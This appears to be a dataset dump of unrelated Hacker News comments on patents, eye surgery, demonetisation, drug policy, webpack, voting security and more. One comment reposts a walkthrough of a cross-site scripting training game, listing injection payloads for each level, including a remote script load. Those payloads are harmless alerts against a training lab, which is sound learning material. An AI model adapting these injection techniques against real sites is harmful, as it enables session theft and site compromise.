skysight-inc/HackerNews huggingface dataset:
"The answer "Hey, we're working on getting all our patents into our patent pledge" would totally satisfy me. But let's be honest: It's never going to happen.
"

It's not supposed to happen?
The same way that one does not have to give up all their worldly possessions to be a good catholic.

"Patent licensing that only benefits people using Google tech is exactly the sort of hypocrisy Google and others accuse Microsoft of."

Except that's not what it is, and spinning it this way just shows you keep trying to find ways to hate it.

It's patent that benefits people using the code google gave them.
If you take the code from a google patented project, and use it, derive from it, whatever, you end up with patent protection.

Which, as i said, 99% of people do, including Microsoft, so your next example is simply wrong.

These companies simply don't usually do what you are saying is the issue.
IE
" Obviously, since Microsoft's OS would implement it's own mobile device tech, the sorts of protections afforded by Google via Apache licensing probably doesn't protect Microsoft from a suit by Google, for example."

Is neither obvious, nor correct. In fact, they just use our implementation in the cases i'm aware of.
The last time someone came to us and said "i want to use the patents but not the code", was webm. So we created a spec, and gave patent license to all implementations of the spec, google created or not.

Can you provide a real example instead of theoretical cases? I can state, affirmatively, that anyone who has come to us with a serious need, we've solved it, AFAIK.
Can you provide a counterexample?

"What is the harm in Google pledging all of their patents, if they have no intention to ever use them offensively?"

What's the benefit?
There are lots of possible harms, like the inability to use them defensively in certain situations (no pledge is perfect, it's not possible to create something without loopholes), the inability to maintain the status quo of patent peace, etc. There's a lot of risk here.

You seem to have this black and white view where this is zero risk, and it's just silly to me.

It's like saying: What's the harm in destroying all of the US nuclear weapons if they never plan on using them offensively?

You act as if this is a zero risk proposition, but it's not.
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Yea, I had Lasek ( although from what i understand, there's even quite a bit of variations of what is defined as "lasek").

Local Dr in NYC is a huge proponent of it, and well, went for it. ( he's unfortunately known for his "odd personality traits", but as a doctor, he's top notch... )

re: recovery, I think 3 weeks was the time I felt OK enough, and better than i ever did with contacts/glasses. It definitely was a months long recovery.
I just got "10 Steps to Unix Survival" by paying $0.00.

1. Click "Pay what you want"

2. Choose the "Free Stuff" tier

3. Go through the rest of the wizard ("I'm not a robot" and such)
Apologies for delay in response.. work firefights

>>What do you think happens to the 60/40 real estate transactions after this?
> A more interesting what happens to all those expensive flats your dearly middle class bought?
> My guess is nothing much will likely change in the Real Estate domain 5-6 years from now unless there is mass fall > in demand due to something like a multi year recession.

I have many friends in real estate construction business & one thing they agree on is over next few years RE is fked. the folks who bought RE over last few years are screwed too especially first time buyers BUT thats a by product of a step change in any system & at any point if you take black money out thats inevitable (unless they start doing the wallstreet MBS thing). But one good thing is that housing will become a lot more affordable to little guy & not just some deep pocket businessfolks or NRIs. Secondly with so much cash surplus interest rates will head downwards so that will be a relief for the white buyer.

Also, there is a bit of feedback loop here (like SV housing) if there is a reasonable certainty that RE is held up by money thats not subject to usual market forces (as much) then in absence of other avenues people will park even their white money there (hence the 60/40). but if this assumption changes, RE will also not be as good an investment as previously deemed.

>>In fact I thought as a side effect this would be great time for cryptocurrencies in India.
> I thought you wanted accountability and traceability. Anonymity seems to be the cornerstone for cryptocurrencies.

I try to keep my analysis separate from my wants. secondly things like bitcoin are not nearly as anonymous are you think, infact quite the opposite. its true that you can create a truly anon cyptocoin (like darkcoin) but far as india is concerned its too late for that. if there was one already proliferated the market with decent cap then ppl may have jumped on it but to create one from scratch and everybody buys into it .. nah

> You can't force people to be honest, nor force them to be dishonest. They will do whatever is in their best interest.

its a matter of degrees not black & white as you are pretending it to be. your argument is basically that if you cannot solve the problem fully then dont try. I see it as a matter of policy actions so you set right incentives for ppl so far the incentives have been pointing only in one direction What I see here is that he is clearly signalling thats going to change going fwd. In 60yrs since independence how many time somebody has seriously tried to go after black money.

> This thing got discussed over last time too. The very assumption that every one has a bank account. Or should have a bank account is broken beyond explanation.

If you have a few lacs of cash then stands to reason that you should have an account. even otherwise actually there are many rural programmes in india that payout small recurring sums to villagers and its very common that since these ppl dont have an account they get fleeced by middle man and lose a big chunk due to cash only nature. these folks are actually benefited quite a bit by such mandates.
Often when you can't find a bug it's because you've assumed something that is not, in fact, true. This is an excellent example. The author assumed he could see a red car on a green terrain. This is one reason pair programming, code reviews, or even just leaving and coming back to your own work can do wonders. People don't always make the same assumptions. In this case, another programmer who wasn't colorblind would have been able to point straight at the box.
Frankly, a better understanding can be obtained from Understanding Modern Money by Randall Wray.

That book contains some policy prescriptions that you may or may not like, but regardless of that, it contains (a) a solid history of the development of money that is based more on actual history and sociology, rather than made-up stories, and (b) a solid and relatively plainly written introduction of how modern fiat money systems actually operate, without all the weaseling of terms you read elsewhere (e.g. "banks parking money in the central bank" is a pet peeve of mine).
Fake News Is Not the Only Problem
Ah, sorry, I didn't really check for dupes---I just skipped the ones with a pdf link in the vicinity. I'm just glad that sometimes the clever things that academics churn out are actually used in practice. Far too rarely if you ask me, but I'm biased of course ;)
Nate has a full article here that's likely better than a few tweets for discussing something like this:

http://fivethirtyeight.com/features/demographics-not-hacking...
Me too. But since we're here I'd give it a try. I think the idea is worth developing.
I've gone back and forth. I wanted digital books, but frankly they're terrible on Kindle--especially languages like Python because of word-wrapping. Kindles are also awful at skimming or thumbing through. But physical books I don't always have with me at work/home and it's hard to dig them out when you need them.

I've found that I really like buying digital books, but using my iPad or Kindle computer app to read coding books because the formatting is better. Even if you don't copy/paste, it's easier to type in code if it's in the window next to you instead of looking down (yeah, I can type without looking at the keyboard, but I have more trouble in an IDE when I have to match parens and quotes, deal with autocomplete and other syntax things like semicolons).
Trump’s FCC advisor wants to eliminate most of the FCC
90 age-discrimination suits reflect growing issue for tech
Any sort of rational approach would start with legalizing use, and possession in amounts that are clearly intended for personal consumption, of any drug, excepting those that have immediate effects that are highly likely to be harmful to those in the vicinity (e.g. drugs that consistently induce violent hallucinations).

We can discuss transfer, sale and other forms of distribution on a case by case basis, depending on how harmful the drug in question is. And we can say that possession of significant quantities, clearly beyond personal consumption, should be considered evidence of intent to distribute (although it should really be rebuttable - i.e. the person should get a chance to present counter-evidence to prove that there was no intent to distribute, and the judge or jury should decide on the balance of probabilities).

But there's no rational reason whatsoever to punish consumption of anything.
> it's not like anyone's skin is even on the line

Huh? Then why spend money on it?

If I told you there was voter fraud, but it was so small it didn't have a snowball's chance of changing the results even in a very close election, would you spend thousands legislating ironclad voting id laws?

I think either (1) there is a chance this changes the outcome or (2) this has a too low ROI to bother.
That seems more relevant to the quality of information being felt, not the feeling itself. Even if it's just assembled in memory later, it's still felt, there is still a "it is like".

The presence of feeling is rather obvious when you feel things like pain. Can't exactly make that up. That's definitely there. A lot of problems are grounded in feeling itself and wouldn't exist if nobody felt anything.

Proving its presence in other people is impossible, but it would seem very strange that you work one way and everyone else works a completely different way without some outside system tinkering with it.
I know you posted on pastbin with 'never' for a reason. But incase they ever shut down, here is the text:

# lvl 1

Enter `<script>alert('')</script>` into the search box.

# lvl 2

Use the `onclick` attribute of the font tag (hint is from the first post, which shows `<font>` might be allowed for the purpose of changing colors. Winning message:

<font color="red" onclick="alert('')">blah</font>

and then click blah after posting the message. (or use onload etc.)

# lvl 3

Modify the URL parameter so that you inject code into the `<img>` tag:

https://xss-game.appspot.com/level3/frame#1.jpg' onclick="alert('')" alt='a picture called 1

which will render as:

html += "<img src='/static/level3/cloud/1.jpg' onclick="alert('')" alt='a picture called 1.jpg'/>";

on line 17 of the HTML file. Now click on the picture.

# lvl 4

Use `3'); alert('` as the value for your timer.

# lvl 5

Notice that if you type `javascript:alert('')` into your browser location bar, an alert will pop up. So we'll use this as the location that the user is sent to on the signup page. Go the the URL:

https://xss-game.appspot.com/level5/frame/signup? next=javascript:alert('')

and then click the `Next` link.

# lvl 6

The regex only notices lowercase https. So upload this JS file to some URL http://mysite.com/xss.js:

alert('');

and then go the the url `https://xss- game.appspot.com/level6/frame#Http://mysite.com/xss.js`

# Notes

In an actual attack you'd use onerror or onload everywhere instead of onclick.
Just to save everyone interested a couple of clicks, here's the result: http://animats.com/
I think it will be another tool in the toolbox.

I.e. I remember that few years ago, large part of web-dev was getting a page design in image files and you sliced and diced them and created proper html, maybe with few placeholders, with css optimized both for desktop and mobile.

Then I have seen a thesis on my uni, that automated all of that with genetic algorithms. You just threw an image at it and few hours in it spews out optimized web-page. I wouldn't be suprised if current photoshop has a button for it :)
that's macbook pro ... I'm talking about the 12" MacBook retina ...
I would be interested to see what some of the people that were quoted in that rebuttal would say now. Speech is dangerous, speech is a weapon, that's why it needs to be protected, because people want to have the weapon only for themselves.

But the weapon of 1859 is a hatchet and the weapon of 2016 is a virus.

> Is there an example of a platform like the one you describe with a large audience?

I think the real platform is the Internet. Losing access to an advertising service is hardly denying platform access. I believe in net neutrality and believe that ISPs and IP providers should have common carrier status, and if someone wants to air an argument of prejudice and hate they can buy the IP connection and set up a web server. No-one is stopping them, but we're not amplifying fringe voices to the same volume as everyone else.
You could wear glasses that don't refract? I have some friends who do that, and I've considered the same.
This js framework deserve more love. I tried vue, react and others and I stay with Riot.js because it´s really easy to learn and you can have something working quickly.

Play with it http://riotjs.com/play/

Vue.js example in riot.js http://txchen.github.io/feplay/riot_vue/#markdown

and a HN clone in riot.js http://txchen.github.io/riot-hn/#news/1
https://www.facebook.com/int19h/posts/10209935398253997
Any dryness or minor depth perception issues?
One design language
Your comment is 100% opinion - I think it's very obvious that different people have different opinions. That is why I said "some people" not "all people".

Vaporisors and edibles are odorless, and the price would surely come down if it was grown in commercial quantities.
I'm really interested to understand which of these have just had spherical correction models applied (ie non-wavefront).

Given that most of these in the article are higher order effects, it only makes sense that if you simply ignore higher order error, you get bad results.
Unless, of course, there are in-place animations or a curses-based UI.
Maybe the quantum background ends up with the momentum. Honestly, don't have a better hypothesis, but if we're to accept pilot waves we end up back at luminiferous aether, so it's anyone's guess.

I still reckon there's an experimental error somewhere - but if there isn't, it's undeniably a big deal.
Harvard and the Rise of a Digital Ivy League
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I suspect you're exactly right.
I'm using Keen UI @next a little. I had to hack it just a tad to propagate some click events but otherwise it was fine.
Some countries do use electronic voting (using state PKI based systems) that in many sense is similar to mail-in ballots.

I can recognize two problems with these.

a) vote buying,
b) vote stealing.

Risk for vote buying is similar for both methods but electronic voting has in my opinion higher vote stealing risk as it is easier to implement on large scale.

I think both methods are suspicious and I am not in favour of them, but as usage of mail-in voting is not widespread, it does not involve too big risk.

Contrary electronic voting may become very popular and problems will be magnified.
Disclaimer up front: I have a significant interest in this company and product, so I'm definitely pimpin' my own sauces. :)

With that said, we[0] build a product called MRK-1 which is a programmable autonomous robot built using a custom board we developed using similar technology to Arduino. Our kits are around $100, very simple to build an operate, and we have a sweet textbook written by some awesome guy named blister[1]. :D

We're geared more towards selling to individual schools and school districts, but if you're interested, I can hook you up with a kit and a digital copy of the programming book.

0: http://sumorobotleague.com

1: https://www.amazon.com/Introduction-Robot-Programming-Robots...
I'm that close to install Win2K and Dreamweaver 4...
> healthcare is free to the patient at the point of delivery

Sure I can offer you an rotten apple for free as the ONLY choice and claim you are getting a free apple. But that is not any better than USA where government mandates the floor on quality of apple and gives freedom to set the price (which will be high because of quality floor).

Both scenarios are very different. When cost of things is distributed over large population it might not be visible to a naive mind but it is indeed the cost one ends up paying.

For example wait times for an ordinary surgery in Canada are simply mindblowing:
http://www.ctvnews.ca/health/healthcare-wait-times-hit-20-we...

You wont hear an old lady complaining about wait time but you will hear a man praising that he did not pay anything for a bypass surgery.
Better than being blind.

My dad had been just letting his cataracts go, since he's the stereotypical stubborn person who doesn't like to go to the doctor till it's too late. So, one morning he woke up and panicked because he was effectively blind.

He somehow managed to get a hold of my sister (I was away from home; she lived in the same neighborhood luckily) who helped him get an appointment for LASIK. Long story short, he ended up with nearly 20/20 vision afterwards.
For a second I thought this was about a new linux-distro for servers that featured outage resilient services and such.

Oh well, this is good enough I 'spose.
Here are the things I had the most trouble with in the beginning:

- Externals. I still have trouble wrapping my head around this directive.

- Multiple output paths for multiple entry points (it wasn't intuitive to make the entry point key a relative path and I had to discover this method on stack overflow).

To be fair, a proper set of documentation for webpack would be a several hundred page book.

Edit: I see my second point still isn't mentioned anywhere in the old or new docs. Specifically:

const ExtractCSS = new ExtractTextPlugin('[name].css');
...
entry: {
['./app/bundle']: './source/app/index.js',
['./admin/bundle']: './source/admin/index.js'
},
output: {
path: './build/',
filename: '[name].js'
}
...

would create:

build/
app/
bundle.js
bundle.css
admin/
bundle.js
bundle.css
If it happens once then it can happen again and on a larger scale.
well, my to-go expert was writing about unreliability since unsuspecting times https://www.schneier.com/blog/archives/2004/11/the_problem_w... - don't know whom you listen to, but back in time when slashdot still had some content I recall a big fight between vendors and researches over source code auditing, which of curse after many lawsuites completed exposing many weakness in design, even before accounting for "honest" bugs, and even back then the whole business surrounding election automation was exceptionally shady.
All UK papers are obliged to acknowledge errors found by the PCC, and it's in their interest to maintain a good relationship with the PCC.

I can remember seeing the headline and how it didn't match the finding in the article - which was that there was a gun in the car, hence the subject being armed - and thinking all someone who needs an excuse is going to do is read the headline, not buy the paper, and unleash more violence.

The Guardian also kept saying reports that Duggan was a criminal were inaccurate as he had no record: he was a self confessed member of Star Gang and posed as such all over his Facebook. Either he was an adult human lying about being a member of a serious gang (which would have severe consequences) or he actually was involved in organised crime.
I don't mean to be glib, but this is a pretty Sheldon-esque line of reasoning.
From my experience, I disagree with the heuristic of money paid within the first month for knowing if you are really talking to users, because it doesn't apply especially for enterprise SaaS, where you likely to have a direct sales model, and as a co-founder with no sales experience at the beginning, as you continue to sell subscriptions, let's say the same functionality within a product, you will improve as a salesperson, closing deals earlier and by that heuristic, you know what your customers want.

Consistent user engagement with the product is a better metric to build such a heuristic, because user engagement is direct correlated to value IMO. That's why I am a fan of even charging $1 per month for a product, because it easier (relative to having given it away for free) to increase pricing based on the value you deliver to your customer, which can be measured through user engagement with the product.
> Because voting is way more important than home banking.

Most banking -- "home" or multi-millions -- is done electronically. It's safer.
$120k+ offer for 12 weeks experience - ridiculous, I hope he lasts 2 weeks

The reality, I find, is that (if properly motivated, and possessed of sufficient native intellect) once you get your foot in the door, you can learn the ins and outs of any programming role pretty darn quickly. OK, maybe you won't be able to design a compiler or anything like that. But for most of the standard web development $foobar stuff... you can pretty much pick it up as you go.

The people to be wary for (and weed out) are the outright imposters (those who blatantly lie about their capabilities), or the chronic attitude cases (which includes a great many experienced and ostensibly highly qualified people).

Not the inexperienced.
Is there a tldr version?
Actually, after re-reading your scheme it doesn't sound too bad either... the main problem would seem to be then if the encryption was fundamentally broken (ie: if the encrypted bits are recoverable after the second factory reset and could then be decrypted)
I would prefer digital but in a way where I downloaded just one pdf file. Searching across multiple pdfs is pretty broken for me. If people have any tips to share that work on Windows / Linux I would appreciate it.
Reports of this, and having a friend suffer from similar effects after laser eye surgery years ago, have always kept this as a "look again in a few years" thing for me.

As I've aged, my prescription has got stronger (I'm long sighted), and I've realised these effects can be caused by stronger spectacles too. Long term contact lens use can also commonly cause symptoms.

With hindsight I wish I'd just gone ahead in my 20s or 30s!
just a note: it's bizarre that I absolutely cannot find a way to determine a) how much it would cost to run or b) how I would pay for it if I wanted to run it
If you want camera-drag with right-click, ideally you'd just hide the mouse (and capture it so it can't leave the bounds of the view). That's normally what games do when they have right-click dragging in the fashion you describe.

That said, I have no idea if JavaScript can capture the mouse like that.
Sorry I don't recall offhand. It was definitely Chandler Carruth who mentioned this, and he has a handful of videos on YouTube from CppCon. They are all worth watching if you care about such things :)

I don't know the details but I'm fairly sure that the issue is that move constructors in C++11 made small size optimization impossible in some cases. I think he works on the LLVM optimizer so that would be a primary source and not hearsay.
There can be good reasons to break into cellphones, just like there can be good reasons to have a lock pick.

Our problems stem from overfunded and underregulated intelligence agencies, not from the tools they use.
And if it doesn't happen once, it can still happen on a larger scale.

Either way, we'll still have to mitigate fraud/hacking in 2020.